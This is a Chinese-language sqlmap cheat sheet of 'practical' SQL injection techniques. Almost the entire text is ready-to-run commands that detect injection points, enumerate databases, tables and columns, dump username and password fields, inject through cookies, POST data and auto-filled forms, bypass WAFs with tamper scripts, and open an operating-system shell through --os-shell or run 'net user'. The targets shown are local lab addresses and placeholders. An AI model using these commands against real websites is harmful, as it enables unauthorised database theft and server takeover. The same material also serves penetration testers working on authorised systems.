说明
本文主要讲一下sqlmap在实战中的一些技巧
注入检测
检测注入
sqlmap.py -u http://192.168.136.131/sqlmap/mysql/get_int.php?id=1 --batch
参数“–batch”命令来自动答复y或n。
批量检测
sqlmap.py-m url.txt
常用注入方法
1.ACCESS数据库注入:
sqlmap.py -u “url” /*-u为常规扫描参数*/
sqlmap.py -u “url” –tables /*–tables拆数据库表*/
sqlmap.py -u “url” –columns -T “要拆的表名”/*列出指定表名*/
sqlmap.py -u “url” –dump -T “要拆的表名”-C “要拆的字段名” /*–dump为拆解字段名会保存在sqlmap/output目录下*/
2.MYSQL数据库注入:
sqlmap.py -u “url” /*扫描注入点*/
sqlmap.py -u “url” –dbs /*列出所有数据库*/
sqlmap.py -u “url” –current-db /*列出当前数据库*/
sqlmap.py -u “url” –current-user /*列出当前用户*/
sqlmap.py -u “url” –tables -D “当前数据库名” /*拆解当前数据库表*/
sqlmap.py -u “url” –columns -T “要拆得的表名” -D “当前数据库名” /*拆解指定表字段名*/
sqlmap.py -u “url” –dump -C “字段名” -T “表名” -D “当前数据库”
3.mssql数据库:
同MYSQL
4.COOKIE注入:
sqlmap.py -u “www.xxx.com/asp或者www.xxx.com/php”?–cookie “参数名如id=1” –level 2/*level为级别,不同级别检测的不一样*/
5.POST注入:
抓包保存到SQLMAP目录下.txt的文件然后输入指令sqlmap.py -r xxx.txt /*xxx.txt为保存包文件的文件名”
sqlmap.py -u “url” –data “POST参数”
6.执行shell命令:
sqlmap.py -u “url” –os-cmd=”net user” /*执行net user命令*/
sqlmap.py -u “url” –os-shell /*系统交互的shell*/
7.注入HTTP请求 :
sqlmap.py -r xxx.txt –dbs /*xxx.txt内容为HTTP请求*/
8.绕过WAF的tamper插件使用:
sqlmap.py -u “url” –tamper “xxx.py”
9.sqlmap自动填写表单注入:
sqlmap.py -u URL –forms
sqlmap.py -u URL –forms –dbs
sqlmap.py -u URL –forms –current-db
sqlmap.py -u URL –forms -D 数据库名称–tables
sqlmap.py -u URL –forms -D 数据库名称 -T 表名 –columns
sqlmap.py -u URL –forms -D 数据库名称 -T 表名 -Cusername,password –dump
10.延时注入:
sqlmap –dbs -u “url” –delay 0.5 /*延时0.5秒*/
sqlmap –dbs -u “url” –safe-freq /*请求2次*/
实战使用
列出全部数据库
sqlmap -u ” http://127.0.0.1/web.php?id=1 ” --dbs
列出 web1库的全部表
sqlmap -u ” http://127.0.0.1/web.php?id=1 ” -D web1 --tables
列出user表全部字段
sqlmap -u ” http://127.0.0.1/web.php?id=1 ” -D web1 -T user --columns
跑指定字段的数据
sqlmap -u ” http://127.0.0.1/web.php?id=1 ” -D web1 -T user -C ‘name,username,passwd’ --dump